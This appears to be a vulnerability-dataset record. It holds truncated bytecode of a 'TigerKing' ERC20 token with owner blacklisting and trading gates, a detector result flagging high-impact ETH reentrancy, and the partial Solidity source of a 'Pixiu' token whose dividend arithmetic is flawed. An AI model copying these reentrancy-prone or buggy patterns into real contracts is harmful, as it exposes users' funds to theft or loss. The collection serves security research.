ffffff16815260200190815260200160002060009054906101000a900460ff1615151415610adf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad6906132b3565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b77611512565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfb906132f3565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c67611512565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ceb906132f3565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d51611512565b73ffffffffffffffffffffffffffffffffffffffff161480610dc75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610daf611512565b73ffffffffffffffffffffffffffffffffffffffff16145b610dd057600080fd5b60003073ffffffffffffffffffffffffffffffffffffffff16319050610df581611f67565b50565b6000610e42600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612062565b9050919050565b610e51611512565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ede576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed5906132f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610fa4611512565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611031576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611028906132f3565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611072611512565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f6906132f3565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600981526020017f54696765724b696e670000000000000000000000000000000000000000000000815250905090565b611167611512565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111eb906132f3565b60405180910390fd5b8060198190555050565b611206611512565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611293576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128a906132f3565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006112c96112c2611512565b84846116e5565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611354611512565b73ffffffffffffffffffffffffffffffffffffffff1614806113ca5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113b2611512565b73ffffffffffffffffffffffffffffffffffffffff16145b6113d357600080fd5b60006113de30610df8565b90506113e9816120d0565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61147b611512565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff906132f3565b60405180910390fd5b8060188190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190613373565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f190613253565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116d89190613393565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611755576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174c90613333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bc906131d3565b60405180910390fd5b60008111611808576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ff90613313565b60405180910390fd5b611810611041565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561187e575061184e611041565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0257601660149054906101000a900460ff1661192457601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191a906131f3565b60405180910390fd5b5b601754811115611969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196090613233565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a0d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4390613273565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611af95760185481611aae84610df8565b611ab891906134c9565b10611af8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aef90613353565b60405180910390fd5b5b6000611b0430610df8565b9050600060195482101590506017548210611b1f5760175491505b808015611b395750601660159054906101000a900460ff16155b8015611b935750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611ba9575060168054906101000a900460ff165b15611bff57611bb7826120d0565b60003073ffffffffffffffffffffffffffffffffffffffff163190506000811115611bfd57611bfc3073ffffffffffffffffffffffffffffffffffffffff1631611f67565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ca95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611d5c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611d5b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611d6a5760009050611ef1565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e155750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e2d57600854600c81905550600954600d819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ed85750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611ef057600a54600c81905550600b54600d819055505b5b611efd84848484612402565b50505050565b6000838311158290611f4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4291906131b1565b60405180910390fd5b5060008385611f5a91906135aa565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611fb760028461242f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611fe2573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61203360028461242f90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561205e573d6000803e3d6000fd5b5050565b60006006548211156120a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a090613213565b60405180910390fd5b60006120b3612479565b90506120c8818461242f90919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561212e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561215c5781602001602082028036833780820191505090505b509050308160008151811061219a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160206040518083038186803b15801561225857600080fd5b505afa15801561226c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122909190612c3c565b816001815181106122ca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061233130601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461151a565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016123b19594939291906133ae565b600060405180830381600087803b1580156123cb57600080fd5b505af11580156123df573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806124105761240f6124a4565b5b61241b8484846124e7565b80612429576124286126b2565b5b50505050565b600061247183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126c6565b905092915050565b6000806000612486612729565b9150915061249d818361242f90919063ffffffff16565b9250505090565b6000600c541480156124b857506000600d54145b156124c2576124e5565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806124f987612788565b95509550955095509550955061255786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127f090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125ec85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263881612898565b6126428483612955565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161269f9190613393565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000808311829061270d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270491906131b1565b60405180910390fd5b506000838561271c919061351f565b9050809150509392505050565b600080600060065490506000678ac7230489e80000905061275d678ac7230489e8000060065461242f90919063ffffffff16565b82101561277b57600654678ac7230489e80000935093505050612784565b81819350935050505b9091565b60008060008060008060008060006127a58a600c54600d5461298f565b92509250925060006127b5612479565b905060008060006127c88e878787612a25565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061283283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f03565b905092915050565b600080828461284991906134c9565b90508381101561288e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288590613293565b60405180910390fd5b8091505092915050565b60006128a2612479565b905060006128b98284612aae90919063ffffffff16565b905061290d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61296a826006546127f090919063ffffffff16565b6006819055506129858160075461283a90919063ffffffff16565b6007819055505050565b6000806000806129bb60646129ad888a612aae90919063ffffffff16565b61242f90919063ffffffff16565b905060006129e560646129d7888b612aae90919063ffffffff16565b61242f90919063ffffffff16565b90506000612a0e82612a00858c6127f090919063ffffffff16565b6127f090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a3e8589612aae90919063ffffffff16565b90506000612a558689612aae90919063ffffffff16565b90506000612a6c8789612aae90919063ffffffff16565b90506000612a9582612a8785876127f090919063ffffffff16565b6127f090919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612ac15760009050612b23565b60008284612acf9190613550565b9050828482612ade919061351f565b14612b1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b15906132d3565b60405180910390fd5b809150505b92915050565b6000612b3c612b3784613448565b613423565b90508083825260208201905082856020860282011115612b5b57600080fd5b60005b85811015612b8b5781612b718882612b95565b845260208401935060208301925050600181019050612b5e565b5050509392505050565b600081359050612ba481613b6e565b92915050565b600081519050612bb981613b6e565b92915050565b600082601f830112612bd057600080fd5b8135612be0848260208601612b29565b91505092915050565b600081359050612bf881613b85565b92915050565b600081359050612c0d81613b9c565b92915050565b600060208284031215612c2557600080fd5b6000612c3384828501612b95565b91505092915050565b600060208284031215612c4e57600080fd5b6000612c5c84828501612baa565b91505092915050565b60008060408385031215612c7857600080fd5b6000612c8685828601612b95565b9250506020612c9785828601612b95565b9150509250929050565b600080600060608486031215612cb657600080fd5b6000612cc486828701612b95565b9350506020612cd586828701612b95565b9250506040612ce686828701612bfe565b9150509250925092565b60008060408385031215612d0357600080fd5b6000612d1185828601612b95565b9250506020612d2285828601612be9565b9150509250929050565b60008060408385031215612d3f57600080fd5b6000612d4d85828601612b95565b9250506020612d5e85828601612bfe565b9150509250929050565b600060208284031215612d7a57600080fd5b600082013567ffffffffffffffff811115612d9457600080fd5b612da084828501612bbf565b91505092915050565b600060208284031215612dbb57600080fd5b6000612dc984828501612be9565b91505092915050565b600060208284031215612de457600080fd5b6000612df284828501612bfe565b91505092915050565b60008060008060808587031215612e1157600080fd5b6000612e1f87828801612bfe565b9450506020612e3087828801612bfe565b9350506040612e4187828801612bfe565b9250506060612e5287828801612bfe565b91505092959194509250565b6000612e6a8383612e76565b60208301905092915050565b612e7f816135de565b82525050565b612e8e816135de565b82525050565b6000612e9f82613484565b612ea981856134a7565b9350612eb483613474565b8060005b83811015612ee5578151612ecc8882612e5e565b9750612ed78361349a565b925050600181019050612eb8565b5085935050505092915050565b612efb816135f0565b82525050565b612f0a81613633565b82525050565b612f1981613657565b82525050565b6000612f2a8261348f565b612f3481856134b8565b9350612f44818560208601613669565b612f4d816137a3565b840191505092915050565b6000612f656023836134b8565b9150612f70826137b4565b604082019050919050565b6000612f88603f836134b8565b9150612f9382613803565b604082019050919050565b6000612fab602a836134b8565b9150612fb682613852565b604082019050919050565b6000612fce601c836134b8565b9150612fd9826138a1565b602082019050919050565b6000612ff16022836134b8565b9150612ffc826138ca565b604082019050919050565b60006130146023836134b8565b915061301f82613919565b604082019050919050565b6000613037601b836134b8565b915061304282613968565b602082019050919050565b600061305a6017836134b8565b915061306582613991565b602082019050919050565b600061307d6021836134b8565b9150613088826139ba565b604082019050919050565b60006130a06020836134b8565b91506130ab82613a09565b602082019050919050565b60006130c36029836134b8565b91506130ce82613a32565b604082019050919050565b60006130e66025836134b8565b91506130f182613a81565b604082019050919050565b60006131096023836134b8565b915061311482613ad0565b604082019050919050565b600061312c6024836134b8565b915061313782613b1f565b604082019050919050565b61314b8161361c565b82525050565b61315a81613626565b82525050565b60006020820190506131756000830184612e85565b92915050565b60006020820190506131906000830184612ef2565b92915050565b60006020820190506131ab6000830184612f01565b92915050565b600060208201905081810360008301526131cb8184612f1f565b905092915050565b600060208201905081810360008301526131ec81612f58565b9050919050565b6000602082019050818103600083015261320c81612f7b565b9050919050565b6000602082019050818103600083015261322c81612f9e565b9050919050565b6000602082019050818103600083015261324c81612fc1565b9050919050565b6000602082019050818103600083015261326c81612fe4565b9050919050565b6000602082019050818103600083015261328c81613007565b9050919050565b600060208201905081810360008301526132ac8161302a565b9050919050565b600060208201905081810360008301526132cc8161304d565b9050919050565b600060208201905081810360008301526132ec81613070565b9050919050565b6000602082019050818103600083015261330c81613093565b9050919050565b6000602082019050818103600083015261332c816130b6565b9050919050565b6000602082019050818103600083015261334c816130d9565b9050919050565b6000602082019050818103600083015261336c816130fc565b9050919050565b6000602082019050818103600083015261338c8161311f565b9050919050565b60006020820190506133a86000830184613142565b92915050565b600060a0820190506133c36000830188613142565b6133d06020830187612f10565b81810360408301526133e28186612e94565b90506133f16060830185612e85565b6133fe6080830184613142565b9695505050505050565b600060208201905061341d6000830184613151565b92915050565b600061342d61343e565b9050613439828261369c565b919050565b6000604051905090565b600067ffffffffffffffff82111561346357613462613774565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006134d48261361c565b91506134df8361361c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561351457613513613716565b5b828201905092915050565b600061352a8261361c565b91506135358361361c565b92508261354557613544613745565b5b828204905092915050565b600061355b8261361c565b91506135668361361c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561359f5761359e613716565b5b828202905092915050565b60006135b58261361c565b91506135c08361361c565b9250828210156135d3576135d2613716565b5b828203905092915050565b60006135e9826135fc565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061363e82613645565b9050919050565b6000613650826135fc565b9050919050565b60006136628261361c565b9050919050565b60005b8381101561368757808201518184015260208101905061366c565b83811115613696576000848401525b50505050565b6136a5826137a3565b810181811067ffffffffffffffff821117156136c4576136c3613774565b5b80604052505050565b60006136d88261361c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561370b5761370a613716565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613b77816135de565b8114613b8257600080fd5b50565b613b8e816135f0565b8114613b9957600080fd5b50565b613ba58161361c565b8114613bb057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dfff098650545b9faba51fa8418fb1fa915c84715fb419fb5d731da46efa972e64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,034
0x3bf3b11023650d21140ba10c68a8a4dd0a372d3f
pragma solidity ^0.4.13; /** * Math operations with safety checks */ library SafeMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value); function approve(address spender, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint256 size) { require(!(msg.data.length < size + 4)); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implemantation of the basic standart token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)) ); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract Pixiu is StandardToken { uint public decimals = 6; bool public isPayable = true; bool public isWithdrawable = true; bool public isRequireData = false; struct exchangeRate { uint time1; uint time2; uint value; } struct Member { bool isExists; bool isDividend; bool isWithdraw; uint256 dividend; uint256 withdraw; } exchangeRate[] public exchangeRateArray; mapping (address => Member) public members; address[] public adminArray; address[] public memberArray; uint256 public tokenExchangeRateInWei = 300*10**6; /* *虛擬帳號 共20碼 *1-4 固定 0xFFFFFFFF *5-8 繳費期限 *9-11 流水號 商家代碼 0x000000-0xFFFFFF *12-15 商家自訂 4碼=8位 0-F *16-18 金額 *19 :0x30 +4bit候補零 * 當 BYTE19 = 00 12-18 為商家自訂 *20 檢查碼 */ mapping (address => uint) public shopStoreId; mapping (uint => address) public shopStoreAddress; uint256 public shopStorePrice = 1*10**6; uint256 public shopStoreNextId = 0; address public Apply_Store_Id_Fee; uint256 public total_tokenwei = 0; uint256 public min_pay_wei = 0; uint256 public total_devidend = 0; uint256 public total_withdraw = 0; uint256 public withdraw_amount = 0; uint256 public dividend_amount = 0; event Paydata(address indexed payer, uint256 value, bytes data, uint256 thisTokenWei); function Pixiu() { totalSupply = 21000000000000; adminArray.push(msg.sender); admin_set_Apply_Store_Id_Fee(msg.sender); } function get_orderAddress(address _address,uint _expire_day,uint _userdata,uint _pixiu, uint _wei) constant returns (address){ uint256 storeid = shopStoreId[_address]; uint160 result = uint152(0xffffffff<<120) + uint120((_expire_day * 86400 + now)<<88) + uint88(storeid<<64); uint _zero = 0; uint256 _amount2 = _pixiu * 10 ** 6 + _wei; uint256 _amount = _amount2; while(_amount2 % 10 == 0){ _amount2 /= 10; _zero++; } _userdata = _userdata<<24; _userdata += _amount; result += uint64(_userdata<<8); result += uint8(0x30+_zero); uint8 crc = uint8(sha256(uint152(result) )); return address((result << 8) + crc); } function isLeading4FF(address _sender ) private returns(bool){ uint32 ff4= uint32(uint256(_sender) >> 128); return (ff4 == 0xffffffff); } modifier onlyAdmin() { bool ok = admin_check(msg.sender); require(ok); _; } modifier adminExists(address admin) { bool ok = false; if(admin != msg.sender){ ok = admin_check(admin); } require(ok); _; } modifier adminDoesNotExist(address admin) { bool ok = admin_check(admin); require(!ok); _; } function admin_check(address admin) private constant returns(bool){ bool ok = false; for (uint i = 0; i < adminArray.length; i++) { if (admin == adminArray[i]) { ok = true; break; } } return ok; } modifier memberExists(address member) { bool ok = false; if (members[member].isExists == true) { ok = true; } require(ok); _; } modifier isMember() { bool ok = false; if (members[msg.sender].isExists == true) { ok = true; } require(ok); _; } function admin_dividend(int _Eth, int _Wei) onlyAdmin { int xWei = _Eth * 10 ** 18 + _Wei; bool is_add = true; if(xWei > 0){ dividend_amount += uint256(xWei); }else{ xWei *= -1; is_add = false; dividend_amount -= uint256(xWei * -1); } uint256 len = memberArray.length; uint i = 0; address _member; uint total_balance_dividened=0; for( i = 0; i < len; i++){ _member = memberArray[i]; if(members[_member].isDividend){ total_balance_dividened += balances[_member]; } } for( i = 0; i < len; i++){ _member = memberArray[i]; if(members[_member].isDividend){ uint256 thisWei = balances[_member] * uint256(xWei) / total_balance_dividened; if(is_add){ members[_member].dividend += thisWei; total_devidend += thisWei; }else{ members[_member].dividend -= thisWei; total_devidend -= thisWei; } } } } function admin_set_exchange_rate(uint[] exchangeRates) onlyAdmin{ uint len = exchangeRates.length; exchangeRateArray.length = 0; for(uint i = 0; i < len; i += 3){ uint time1 = exchangeRates[i]; uint time2 = exchangeRates[i + 1]; uint value = exchangeRates[i + 2]*1000; 